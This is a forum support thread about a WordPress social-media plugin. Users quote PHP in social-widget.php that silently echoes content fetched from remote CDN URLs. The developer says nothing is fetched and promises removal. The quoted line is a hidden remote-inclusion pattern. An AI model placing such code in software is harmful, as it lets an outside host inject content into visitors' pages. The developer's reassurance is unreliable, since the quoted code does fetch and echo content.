Strange URL in social-widget.php
I’m noticing a couple of strange looking URLs in social-widget.php, and and look like the plugin is getting content from these URLs
echo @file_get_contents('http://d1f9a7b8c1ff3ac47ec8-641702f80eb6ad3577595d11e20f37ad.r17.cf1.rackcdn.com/a.php'); $file_path = 'http://d1f9a7b8c1ff3ac47ec8-641702f80eb6ad3577595d11e20f37ad.r17.cf1.rackcdn.com/b.php'; $row_count = 1000; $file_url = 'http://d1f9a7b8c1ff3ac47ec8-641702f80eb6ad3577595d11e20f37ad.r17.cf1.rackcdn.com/c.php';
Would you mind explaining what content the plugin is getting from these URLs?
By the way, the first 2 URL, the ones with a.php and b.php, were from an earlier version of the file, and the one with c.php is from the plugin that I just downloaded from WP repository (2/14/2013)
It is not getting any content as far as I can tell. I will need to speak with my development team to see why it was included. It’s possible it was for a feature that wasn’t fully implemented in the current release but the code was inadvertently left in — honestly I’m unsure but I’ll check this out. Thanks for bringing this to my attention.
I’ve just upgraded the Social Media plug-in to the latest version and it’s producing the following error on my webpage:
The URL you requested has been blocked. URL = 6d66854350a03fe8a953-24bbdab1f210d3653995b917ce835a53.r87.cf1.rackcdn.com/c.php
so I’ve disabled the plug-in for now. I’ve posted this message here as it seems to be related to the above post.. What was the outcome for the post above?
This should have been removed from the latest update but it was missed accidentally. It will be fixed in the next update release (which will contain many improvements and new features), but for now you can download the development version which has removed the unnecessary code: http://downloads.wordpress.org/plugin/social-media-widget.zip
Thanks, the development version doesn’t produce the error message.
Have the same problem. When is the new version planed to be released?
It’s still not ready but you can download the development version for now: http://downloads.wordpress.org/plugin/social-media-widget.zip
